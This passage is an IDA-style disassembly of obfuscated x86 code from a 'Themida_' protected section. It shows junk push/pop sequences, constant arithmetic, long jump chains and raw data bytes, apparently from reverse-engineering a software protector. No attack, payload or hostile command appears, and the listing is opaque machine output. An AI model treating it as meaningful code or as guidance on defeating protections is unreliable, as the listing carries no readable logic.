		dd 14E98105h, 89AE76D0h, 0F38959CEh, 55D3F75Eh,	0CE241BBDh
		dd 41C0E948h, 0BF57FFFFh, 2B3B6880h, 8103EFC1h,	9F3A72F7h
		dd 5FF93100h, 0FFC2CFE9h, 4BF57FFh, 81000000h, 18586AEBh
		dd 81FB0152h, 18586AC3h, 0C3835F52h, 241C3304h,	0E9241C31h
		dd 3EFCh, 0C681E689h, 4, 4C681h, 34870000h, 0C5815C24h
		dd 0AC398D94h, 5597E9h
		db 0
; ---------------------------------------------------------------------------


loc_560771:				; CODE XREF: Themida_:00553B77j
		add	ecx, edx
		jmp	loc_568183
; ---------------------------------------------------------------------------


loc_560778:				; CODE XREF: Themida_:00558332j
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		sub	edx, ecx
		push	dword ptr [esp]
		pop	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55B4F6
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFF3124h, 0E904C483h, 571Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_552C38
; ---------------------------------------------------------------------------
		db 81h
		dd 0D74B9CC6h, 0DC6815Ch, 81F411D4h, 8560BEC7h,	81F70128h
		dd 8560BEEFh, 824EE928h, 5DBDFFFFh, 817AFF60h, 9FA5C5h
		dd 0AAE95685h, 71h, 7AB050E3h, 6F0CC0FEh, 634C0FEh, 5858C328h
		dd 0FFF052E9h, 240C33FFh, 33240C31h, 248B240Ch,	0E7895724h
		dd 251EB850h, 1A353A50h, 13A5025h, 4467E9C7h, 5F050000h
		dd 527D73Bh, 8117DC1h, 160B951h, 0E9811977h, 3D575C59h
		dd 8103E1C1h, 8105B8F1h, 0F9C1810Ch, 81162E17h,	0BB3C27C1h
		dd 0E1F18161h, 29185CF0h, 0EC8359C8h, 243C8904h, 699468h
		dd 241C8900h, 0E49C768h, 0E9575B36h, 0FFFF2B01h, 0DEE9CAFEh
		dd 0B8FFFF85h, 0E5D16F5h, 1F20BB53h, 0D829093Ah, 0BF57405Bh
		dd 3C80631Ah, 0F708E7C1h, 3E7C1DFh, 8104E7C1h, 9E71CDEFh
		dd 0D7EF8111h, 2176ED31h, 0D971E9F8h, 315AFFFFh, 2434FFF8h
		dd 4EC815Fh, 0E9000000h, 0FFFF3FD8h, 0EC30E530h, 0EC86D5F6h
		dd 0C4FED4F6h, 6EE9DCF6h, 81000055h, 4C4h, 35EB8100h, 56EFCBBEh
		dd 0FFB0A0E9h, 225CBBFFh, 0F3811AA1h, 1A1A0360h, 1391E381h
		dd 49E9240Ah
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560907:				; CODE XREF: Themida_:0055CD29j
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	40h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_562BB3
; ---------------------------------------------------------------------------
		dd 24E98158h, 687E1A63h, 75EAh,	0BF243C89h, 0ED31D576h
		dd 552EE981h, 0F9295831h, 14BCBF57h, 0C78162D4h, 0F55D4072h
		dd 8B5FF901h, 0C483243Ch, 86EE8104h, 146AA36h, 86C681CEh
		dd 5946AA36h, 2BA52h, 0E90000h,	81FFFFBAh, 4ECh, 24148900h
		dd 0C281E289h, 4, 8704C283h, 8CE92414h
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56098B:				; CODE XREF: Themida_:005576CFj
		pop	ebp
		mov	ecx, [esp]
		jmp	loc_56459C
; ---------------------------------------------------------------------------
		dd 0D2F7DAF7h, 5785C281h, 3AE97879h
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5609A3:				; CODE XREF: Themida_:00557572j
		push	edx
		mov	edx, 713149AEh
		inc	edx
		dec	edx
		sub	edx, 1B9054E8h
		xor	edx, 7DEEE3E4h
		add	ebx, edx
		jmp	loc_55D9D5
; ---------------------------------------------------------------------------
		dw 1504h
		dd 152CD028h, 0AFB75366h, 0F8287104h, 0FF70E3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5609D1:				; CODE XREF: Themida_:00554D2Fj
		mov	ecx, 478536C3h
		add	esi, ecx
		pop	ecx
		sub	esi, ebp
		sub	esi, 478536C3h
		pop	ebp
		jmp	loc_5601D5
; ---------------------------------------------------------------------------
		db 59h
		dd 4BE56h, 0F0010000h, 2404875Eh, 0FFC944E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5609F9:				; CODE XREF: Themida_:00561EC2j
		pop	edi
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 28h
		jmp	loc_557B52
; ---------------------------------------------------------------------------
		db 8
		dd 0B7535BFAh, 55F7803Eh, 205FC780h, 0EA805BFAh, 0B033E971h
		dd 3C89FFFFh, 75356824h, 24890000h, 4BF5724h, 81000000h
		dd 0D604246Ch, 17D547Eh, 8104247Ch, 0D6042444h,	5F7D547Eh
		dd 83243C8Bh, 0E95004C4h, 0FFFFA5CDh
; ---------------------------------------------------------------------------


loc_560A5C:				; CODE XREF: Themida_:00553859j
		mov	edx, 4
		add	eax, edx
		pop	edx
		push	eax
		jmp	loc_5651E6
; ---------------------------------------------------------------------------
		dw 435h
aZJsP		db 'z',1Bh,'Jé¾P',0
		align 4
		dd 4EC835Ah, 89243489h,	4BF57E6h, 0E9000000h, 0FFFF41D1h
		dd 11E3815Ah, 513E6D00h, 6248D0B9h, 94F18157h, 31034724h
		dd 0DA2159CBh, 81241C8Bh, 4C4h,	4F28100h, 0E9402160h, 0FFFFEB41h
		dd 3EE9D5F7h, 1FFFF9Ah,	68575FFEh, 1BEA8F31h, 7499E9h
		dd 24048900h, 42474FFh,	0E924048Bh, 4E9Ch, 5165EF81h, 2EE950B6h
		dd 21FFFF74h, 34FF1C47h, 89525824h, 4C281E2h, 83000000h
		dd 148704C2h, 70E95C24h, 81000045h, 0AD2C79CAh,	8123E902h
		dd 8158FFFFh, 4F8DE0F6h, 0E9F00163h, 0FFFFD4B7h, 8104C483h
		dd 6046A8C6h, 81FE0132h, 6046A8EEh, 243C8B32h, 104C483h
		dd 32BF57C6h, 81660F79h, 2D6FA4E7h, 0FFC78365h,	0F9DCF81h
		dd 0E7C17C1Eh, 81E7D106h, 0B77F6FEFh, 0E9FE29EBh, 63D5h
		dd 5C243C87h, 2474FF53h, 48F5B04h, 24248B24h, 4B30F66h
		dd 0C5E99C24h
		db 20h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560B73:				; CODE XREF: Themida_:0055D78Cj
		mov	ecx, 3A1A0DB2h
		add	[esp+4], ecx
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56033B
; ---------------------------------------------------------------------------
		dd 4C28158h, 87000000h,	67E92414h, 52FFFF3Ch, 0C009B050h
		dd 432C03E8h, 7DE9C688h, 0FFFFB2h, 526658C2h, 1242C80h
		dd 0CA805A66h, 4EC830Ah, 0B7241C89h, 2161E9D8h,	48B0000h
		dd 0BCE95124h, 51FFFFEBh, 0C181E189h, 4, 4E981h, 0C870000h
		dd 24248B24h, 0B4240489h, 57B45039h, 803DEC80h,	0EB806CC4h
		dd 80E300B1h, 0E958B1C3h, 0FFFFFBFFh, 240C875Ch, 8324248Bh
		dd 1C8904ECh, 4F59E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560C0E:				; CODE XREF: Themida_:00560549j
		push	eax
		push	7B5179Fh
		pop	eax
		add	eax, 406F5CCEh
		push	5E42h
		mov	[esp], eax
		push	edx
		pop	eax
		jmp	loc_55DF38
; ---------------------------------------------------------------------------
		db 81h,	0E5h, 18h
		dd 0F77FAE1Bh, 0FDED81D5h, 14697DBh, 2434FFE8h,	69BAE9h
		dd 80E95800h, 31FFFF7Fh, 5F04247Ch, 0FF8CADE9h,	241433FFh
		dd 6624248Bh, 5624048Bh, 24348B54h, 5398E9h
		db 0
; ---------------------------------------------------------------------------


loc_560C65:				; CODE XREF: Themida_:00552F77j
		push	dword ptr [edi+eax*4]
		push	esi
		push	esi
		push	esp
		pop	esi
		jmp	loc_55DC78
; ---------------------------------------------------------------------------
		db 59h,	81h, 0C1h
		dd 4, 8704C183h, 0B6E9240Ch
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560C83:				; CODE XREF: Themida_:00563E4Aj
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_55FCB4
; ---------------------------------------------------------------------------
		dd 582434FFh, 8904EC83h, 5BE92414h, 87FFFFDFh, 248B2414h
		dd 4C48324h, 5D5468h, 242C8900h, 32E9E589h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560CBF:				; CODE XREF: Themida_:0055753Aj
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_562146
; ---------------------------------------------------------------------------


loc_560CC8:				; CODE XREF: Themida_:00566A28j
		xor	bh, 0EFh
		jmp	loc_552C6B
; ---------------------------------------------------------------------------
		dd 0E95FF801h, 0FFFFC32Ch
; ---------------------------------------------------------------------------


loc_560CD8:				; CODE XREF: Themida_:005532CFj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 55D25ED6h
		push	ecx
		mov	ecx, edi
		mov	ebp, ecx
		pop	ecx
		pop	edi
		jmp	loc_56279D
; ---------------------------------------------------------------------------
		db 0B5h, 5Eh, 88h
		dd 0CC33E9ECh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560D2A:				; CODE XREF: Themida_:0055F87Dj
		push	ebp
		push	esp
		jmp	loc_565DBB
; ---------------------------------------------------------------------------


loc_560D31:				; CODE XREF: Themida_:0055B216j
		add	dl, 0B5h
		sub	dl, cl
		jmp	loc_55C07B
; ---------------------------------------------------------------------------
		db 58h
		dd 1FE9E989h, 29000073h, 930FE9FBh, 32CFFFFh, 304D828h
		dd 0FFCD79E9h, 241487FFh, 5624248Bh, 0FF422EE9h, 505266FFh
		dd 1FA5E9h
		db 0
; ---------------------------------------------------------------------------


loc_560D69:				; CODE XREF: Themida_:005560DAj
		push	edi
		jmp	loc_564B28
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 4246C01h,	1601E9h, 68565700h, 7C303E04h, 91E9525Eh
		db 91h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560D8B:				; CODE XREF: Themida_:00559FB2j
		mov	edx, 19D254F4h
		sub	edx, 8065A32h
		shl	edx, 2
		add	edx, 0FFFFFFFFh
		push	eax
		push	esi
		push	117462D2h
		pop	esi
		jmp	loc_561F5A
; ---------------------------------------------------------------------------
		db 0BEh, 0ECh, 2Dh
		dd 0C6816FBAh, 0E4EB31C6h, 315EF089h, 24048BC2h, 4C481h
		dd 0F2810000h, 7401333Ch, 0FFCE0BE9h, 0BBE956FFh, 5CFFFF78h
		dd 652B68h, 0C36FE900h,	3489FFFFh, 348B5424h, 0E9545324h
		dd 5C53h, 0C5C2814Ah, 29A33EA4h, 3C335AD7h, 243C3124h
		dd 8B243C33h, 3C892424h, 81E78924h, 4C7h, 0EF32E900h, 0E958FFFFh
		dd 5EA7h
; ---------------------------------------------------------------------------


loc_560E18:				; CODE XREF: Themida_:0055E788j
		add	esp, 4
		push	ecx
		mov	ecx, 5E9620D9h
		sub	ecx, 683D5D5Fh
		sub	ecx, 0F658C376h
		jmp	loc_56775E
; ---------------------------------------------------------------------------
		db 28h,	0DCh, 8Bh
		dd 0C481241Ch, 4, 15E9E600h, 5DFFFF88h,	315FF989h, 240C8BCAh
		dd 4C481h, 34E90000h, 4100003Fh, 4A22E981h, 0F1817F92h
		dd 0F7A7DBB0h, 0E908E1C1h, 0FFFF80A0h, 87240489h, 0F751240Ch
		dd 97E92414h, 33000033h, 0E95C241Ch, 0FFFFE75Ah, 83242489h
		dd 58042404h, 0FF4139E9h, 2434FFFFh, 4C4835Bh, 38B85055h
		dd 8922675Dh, 0C58158C5h, 6913094Bh, 0DABB534Dh, 81237021h
		dd 16437CC3h, 38E38157h, 814D8F6Ch, 2C389EF3h, 15F38144h
		dd 8153F37Fh, 5CE993EBh, 477FE9F7h, 0DAF7FFFFh,	52DE9h
		dd 4EC8300h, 0E9240C89h, 1C48h,	0E0268h, 24348900h, 0C6815E54h
		dd 4, 6AA068h, 0CDEDE900h, 335DFFFFh, 4312404h,	24043324h
		dd 0FF54E3E9h, 24248BFFh, 0FFAF17E9h, 2434FFFFh, 592434FFh
		dd 4EC8151h, 89000000h,	4812424h, 424h,	0E18DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560F36:				; CODE XREF: Themida_:00567C46j
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		push	edx
		mov	edx, 27142DB7h
		xor	edx, 2BCD6D3Dh
		sub	ecx, edx
		jmp	loc_55B244
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 3104C483h, 0E9008FC3h, 0FFFF1CD4h, 81242489h, 42404h
		dd 0E95D0000h, 2B99h
; ---------------------------------------------------------------------------


loc_560F74:				; CODE XREF: Themida_:00563F04j
		push	eax
		push	edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	edx
		mov	edx, 6A6F3596h
		jmp	loc_55B82E
; ---------------------------------------------------------------------------
aIqyaCh		db 'ˆïY€ÇCh',0
		align 4
		dd 8A243C28h, 0C483243Ch, 106DE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560FB2:				; CODE XREF: Themida_:0055BA1Ej
		pop	edx
		shl	edx, 2
		sub	edx, 1ADB753Fh
		add	edx, 3B2DDA13h
		mov	ebp, edx
		mov	edx, [esp]
		push	ecx
		jmp	loc_564AC6
; ---------------------------------------------------------------------------


loc_560FCD:				; CODE XREF: Themida_:0055CE72j
		and	eax, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55FF70
; ---------------------------------------------------------------------------
		db 52h
		dd 87CB951h, 0BD556DFEh, 313F533Ch, 24348155h, 31E2323Fh
		dd 3FB8505Ah, 0E931E232h, 0FFFF6F8Dh, 24248Bh, 0E99C2404h
		dd 2A88h
; ---------------------------------------------------------------------------


loc_56101C:				; CODE XREF: Themida_:0055C838j
		mov	esp, [esp]
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_566B72
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 26C36852h, 0F75A28CAh, 60B2E9D2h, 0C4830000h, 1E356804h
		dd 2C890000h, 0D286824h, 565D3C37h, 370D24BEh, 0E9F5293Ch
		dd 0FFFF4986h, 0FF1BD7E9h, 4C681FFh, 0E9000000h, 68A2h
		dd 0FF1BC7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561071:				; CODE XREF: Themida_:00552CE6j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_567FA3
; ---------------------------------------------------------------------------
		db 31h
		dd 0EFE92434h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56108B:				; CODE XREF: Themida_:0055A5B7j
		mov	cl, 2Ch
		neg	cl
		xor	cl, 0CFh
		mov	dl, cl
		pop	ecx
		push	bx
		mov	bh, 0EFh
		xor	dl, bh
		pop	bx
		jmp	loc_55E66B
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 81000000h, 0F72B5AC3h, 2D85E914h, 0D0290000h, 0E904EC83h
		dd 0FFFFD190h, 4EC81h, 4890000h, 5251B424h, 0E2C050B2h
		dd 0FFB05005h, 58C200h,	0F247E9D4h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5610DA:				; CODE XREF: Themida_:0055BC46j
		pop	edi
		add	esp, 4
		push	ebp
		jmp	loc_553A8C
; ---------------------------------------------------------------------------
		db 5
		dd 4, 405h, 24048700h, 0FFCF61E9h, 686659FFh, 0A2E978D6h
		dd 0BFFFFF97h, 2E740A8Ch, 54A9EF81h, 0F74741D4h, 0A6E781D7h
		dd 0C1116B46h, 0EF8105EFh, 8D268A88h, 1E9F809h,	0B9FFFF88h
		dd 77C5474Ch, 2758E181h, 0D9F71F41h, 6EA4BE56h,	0F12168F0h
		dd 8A91E95Eh, 868FFFFh,	89000025h, 0E589242Ch, 4C581h
		dd 0ED830000h, 242C8704h, 0FFC548E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56115D:				; CODE XREF: Themida_:00564C5Fj
		shl	eax, 8
		sub	eax, 4D1D06FCh
		mov	ecx, eax
		pop	eax
		sub	esi, 3264976h
		add	esi, ecx
		add	esi, 3264976h
		pop	ecx
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_55A4D8
; ---------------------------------------------------------------------------
		db 0BFh
		dd 93169A5h, 8B5FF801h,	89502414h, 6356E9E0h, 0C4810000h
		dd 4, 8104E6C1h, 0FFFFFFEEh, 0F4CE81FFh, 814ED00Dh, 8843B2CEh
		dd 6CEE812Dh, 311E5F2Dh, 0E7815EF7h, 31AE35BDh,	3729C781h
		dd 89E921B1h
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5611CB:				; CODE XREF: Themida_:00564D06j
		pop	edx
		add	edx, 4
		push	esi
		mov	esi, 4
		sub	edx, esi
		pop	esi
		jmp	loc_559539
; ---------------------------------------------------------------------------


loc_5611E0:				; CODE XREF: Themida_:00564668j
		mov	[esp], ebx
		push	ecx
		mov	cl, 2Dh
		or	cl, 0D7h
		add	cl, 0FFh
		jmp	loc_5649D2
; ---------------------------------------------------------------------------
		db 0B5h, 2Eh, 0E9h
		dd 0FFFF956Ah
; ---------------------------------------------------------------------------


loc_5611F8:				; CODE XREF: Themida_:0055F1E6j
		add	edi, ebp
		jmp	loc_56035C
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0A3208C05h, 292BE91Ch, 0E953FFFFh, 0FFFFEDCFh
; ---------------------------------------------------------------------------


loc_561210:				; CODE XREF: Themida_:005600EEj
		push	3CD6h
		mov	[esp], esp
		jmp	loc_565AF1
; ---------------------------------------------------------------------------
		db 83h,	0C3h, 4
		dd 0FFF3C2E9h, 5DEA01FFh, 5024348Bh, 0C30E9h
		db 0
; ---------------------------------------------------------------------------


loc_561231:				; CODE XREF: Themida_:0055BBE5j
		add	al, 0FCh
		pop	ecx
		jmp	loc_564663
; ---------------------------------------------------------------------------
		db 81h,	0F1h, 8Ch
		dd 0C120C861h, 25E907E9h, 0FFFFFF4Ch, 83592434h, 0E5E904C4h
		dd 21FFFF19h, 0EFC15AD7h, 1C78308h, 8AE9DFF7h, 81000011h
		dd 0F018EFCAh, 0FBF28153h, 892CABA3h, 57ABE9D0h, 0D0F7FFFFh
		dd 153AC50Dh, 3E8C15Fh,	5DB4E9h
		db 0
; ---------------------------------------------------------------------------


loc_561285:				; CODE XREF: Themida_:005612DDj
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	ebp
		jmp	loc_5669C2
; ---------------------------------------------------------------------------


loc_56129D:				; CODE XREF: Themida_:0056450Dj
		mov	eax, esp
		push	ecx
		push	edi
		jmp	loc_56801F
; ---------------------------------------------------------------------------
		dw 0C783h
		dd 243C8704h, 388B685Ch, 14890000h, 0FB776824h,	3EE9522Dh
		dd 0BAFFFFB5h, 4815820h, 0DAF7D2F7h, 2B73C281h,	0B8500C3Dh
		dd 15C7293Bh, 8EE9D8F7h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5612DB:				; CODE XREF: Themida_:005573F8j
		mov	eax, esp
		jmp	loc_561285
; ---------------------------------------------------------------------------


loc_5612E2:				; CODE XREF: Themida_:005652E9j
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_55E10B
; ---------------------------------------------------------------------------


loc_5612F8:				; CODE XREF: Themida_:005583BEj
		mov	[esp], eax
		jmp	loc_55944B
; ---------------------------------------------------------------------------


loc_561300:				; CODE XREF: Themida_:0055365Ej
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	dword ptr [esp], 481640BFh
		add	[esp], eax
		push	ebp
		mov	ebp, 481640BFh
		add	[esp+4], ebp
		pop	ebp
		sub	dword ptr [esp], 26B25048h
		jmp	loc_552C38
; ---------------------------------------------------------------------------
		db 5Ah,	31h, 0D6h
		dd 0AAE9F231h, 29FFFFF3h, 5AE95AD3h, 0FF000064h, 835E2434h
		dd 7EE904ECh, 58000068h, 0A3FE9h, 5BD90000h, 0E9D7EC80h
		dd 0FFFF5AE7h, 0E924248Bh, 1F6Eh
; ---------------------------------------------------------------------------


loc_561368:				; CODE XREF: Themida_:0055B14Fj
		not	esi
		xor	esi, 4D7F30BDh
		neg	esi
		jmp	loc_553C9A
; ---------------------------------------------------------------------------


loc_561377:				; CODE XREF: Themida_:0055F05Fj
		sub	ebp, ebx
		pop	ebx
		add	ecx, 5B97457Fh
		add	ecx, ebp
		sub	ecx, 5B97457Fh
		jmp	loc_56653B
; ---------------------------------------------------------------------------


loc_56138D:				; CODE XREF: Themida_:005668B4j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_563D78
; ---------------------------------------------------------------------------


loc_5613B3:				; CODE XREF: Themida_:00559CAFj
		push	edi
		jmp	loc_564B63
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0BE56E589h, 327D0A7Ch, 0C106EEC1h, 0C5E903EEh
		db 32h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5613CF:				; CODE XREF: Themida_:00565624j
		mov	ah, 7Dh
		jmp	loc_559267
; ---------------------------------------------------------------------------
		dw 0C7B3h
		dd 76E93AB1h, 5BFFFFFFh, 0FF295BE9h, 2BE56FFh, 81000000h
		dd 0A50E4AC2h, 5AC28165h, 296F2053h, 5AEA81F2h,	566F2053h
		dd 0A50E4ABEh, 0DED0E965h, 0EAC1FFFFh, 1AE95108h, 51FFFFE6h
		dd 592414F6h, 0FFB7B6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56141D:				; CODE XREF: Themida_:0056816Bj
		push	eax
		mov	eax, 1353178Dh
		sub	eax, 13531789h
		jmp	loc_564F12
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8124h, 89000000h,	0E389241Ch, 16386852h, 34890000h
		dd 6AE95124h, 83FFFFC0h, 59042404h, 7A5368h, 242C8900h
		dd 6C5F48BDh, 0B0ED8174h, 0E959DC47h, 0FFFFB908h
; ---------------------------------------------------------------------------


loc_561468:				; CODE XREF: Themida_:005647D2j
		add	ebp, edi
		pop	edi
		add	ebp, 7E201EE0h
		add	ebp, 4BBE10EDh
		add	ebp, eax
		sub	ebp, 4BBE10EDh
		jmp	loc_56390D
; ---------------------------------------------------------------------------
		dd 24048F5Ch, 6624248Bh, 0E9240C89h, 0FFFFC23Dh, 7313E945h
		dd 1C8BFFFFh, 4C48124h,	81000000h, 4C4h, 68C38000h, 0E9A2C380h
		dd 0FFFFCEA2h
; ---------------------------------------------------------------------------


loc_5614B4:				; CODE XREF: Themida_:005602D5j
		push	edx
		jmp	loc_55CBAA
; ---------------------------------------------------------------------------
		dw 0CE89h
		dd 8B5EF089h, 0C481240Ch, 4, 8758C601h,	815C2434h, 4ECh
		dd 434DE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5614DA:				; CODE XREF: Themida_:00562998j
		dec	bl
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0E4h
		shr	dh, 6
		jmp	loc_567B78
; ---------------------------------------------------------------------------
		db 5Fh
		dd 6AD2BE56h, 0CE812CD0h, 728C7A50h, 0CB6EE81h,	0F6812848h
		dd 468B3964h, 0C681DEF7h, 101F577Ah, 335EF201h,	14312414h
		dd 24143324h, 0FF48F5E9h, 42ED81FFh, 0E9F0B578h, 0FFFFAAD5h
		dd 4BDh, 5DEF0100h, 4EF81h, 0D4E90000h,	89000055h, 0C5B3E9E0h
		dd 6664FFFFh, 5451028Bh, 4C18159h, 81000000h, 4E9h, 240C8700h
		dd 0FFE04BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561561:				; CODE XREF: Themida_:0055988Cj
		pop	ecx
		sub	ecx, 0BE7950ABh
		add	ebx, 530828AAh
		sub	ebx, ecx
		sub	ebx, 530828AAh
		jmp	loc_5595D7
; ---------------------------------------------------------------------------
		db 57h
		dd 0FFE60EE9h, 5D8F7FFh, 24064B7Dh, 797ABB53h, 0D3F7113Eh
		dd 3048EB81h, 0EC8374FCh, 895CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56159E:				; CODE XREF: Themida_:00562798j
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		xor	eax, 66170F4Ah
		jmp	loc_564186
; ---------------------------------------------------------------------------
		dd 0ECD8E943h, 2C89FFFFh, 2EDBBD24h, 52450CBFh,	1D633FBAh
		dd 0FFD53157h, 815A2434h, 4C4h,	0E7F58100h, 15BA24Dh, 0DAC2E9EBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5615E2:				; CODE XREF: Themida_:005627AFj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_55AC05
; ---------------------------------------------------------------------------
		db 89h,	0F7h, 8Bh
		dd 0C4812434h, 4, 0C159CF31h, 0E78104E7h, 28654640h, 1E21E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56160E:				; CODE XREF: Themida_:00566DB3j
		mov	ch, bh
		push	dword ptr [esp]
		pop	ebx
		push	13E2h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_56780E
; ---------------------------------------------------------------------------
		db 88h
		dd 0F90E9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56162A:				; CODE XREF: Themida_:0055C57Fj
		jnz	loc_567DFC
		push	ebx
		sub	esp, 4
		jmp	loc_56583C
; ---------------------------------------------------------------------------


loc_561639:				; CODE XREF: Themida_:00559A90j
		add	ebx, ebp
		sub	ebx, 22BD61A3h
		jmp	loc_55DA7F
; ---------------------------------------------------------------------------


loc_561646:				; CODE XREF: Themida_:0056744Dj
		pop	esi
		jmp	loc_564860
; ---------------------------------------------------------------------------


loc_56164C:				; CODE XREF: Themida_:00566336j
		add	dh, 0FFh
		dec	dh
		sub	dh, 0A9h
		shl	dh, 4
		push	bx
		mov	bh, 0F7h
		xor	dh, bh
		pop	bx
		jmp	loc_554861
; ---------------------------------------------------------------------------
		dd 0B7241C89h, 3E7C0A4h, 0DFF6D7F6h, 70E9C7FEh,	0C1FFFFD2h
		dd 55E907EEh
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56167F:				; CODE XREF: Themida_:00558DF3j
		mov	eax, esp
		push	ebp
		jmp	loc_5653A3
; ---------------------------------------------------------------------------
		db 89h
		dd 4EE92424h
		db 63h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56168F:				; CODE XREF: Themida_:00556EFAj
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_565548
; ---------------------------------------------------------------------------


loc_561699:				; CODE XREF: Themida_:0055F88Cj
		mov	[esp], edi
		jmp	loc_563C6F
; ---------------------------------------------------------------------------
		db 0BDh, 0EBh, 76h
		dd 0C581540Fh, 0FFFFFFFFh, 3CF2CD81h, 0CD8121ACh, 581C6506h
		dd 17BDE9h, 24148900h, 0F368E289h, 8900006Eh, 21BD242Ch
		dd 0F7527141h, 0C5814DD5h, 52714127h, 0FFCA44E9h, 45A72DFFh
		dd 0A52D4BFBh, 2170DDCCh, 0EA8158C2h, 0F729C3C9h, 0E95AD029h
		dd 0FFFFE4ABh, 68241C89h, 2CC9h, 0FFCB66E9h, 1D5605FFh
		dd 0BA521209h, 7A1C3001h, 5B13F281h, 0C2810F41h, 0B83C0F7Dh
		dd 148BD001h, 4C48124h,	2D000000h, 14C457DBh, 0DB05E801h
		dd 2D14C457h, 2D997A8Fh, 91D562Dh, 242C8B12h, 81E18951h
		dd 4C1h, 4BE5600h, 0E9000000h, 6A24h, 427B68h, 240C8900h
		dd 8904EC83h, 68532414h, 58703D7Fh, 5B51535Bh, 0E9D1F759h
		dd 68F6h, 0E3B4EE81h, 0F701D9F4h, 0FF3FADE9h, 240481FFh
		dd 4, 0FBE9525Bh, 8100002Ch, 1B3877EAh,	0DFBD5508h, 0E964C25Fh
		dd 0FFFF9203h, 740AE993h, 0EF28FFFFh, 6EEF8059h, 0FE5BF900h
		dd 0E217E9C9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5617B6:				; CODE XREF: Themida_:005659D2j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5677E7
; ---------------------------------------------------------------------------


loc_5617C1:				; CODE XREF: Themida_:00564DC1j
		add	edi, esi
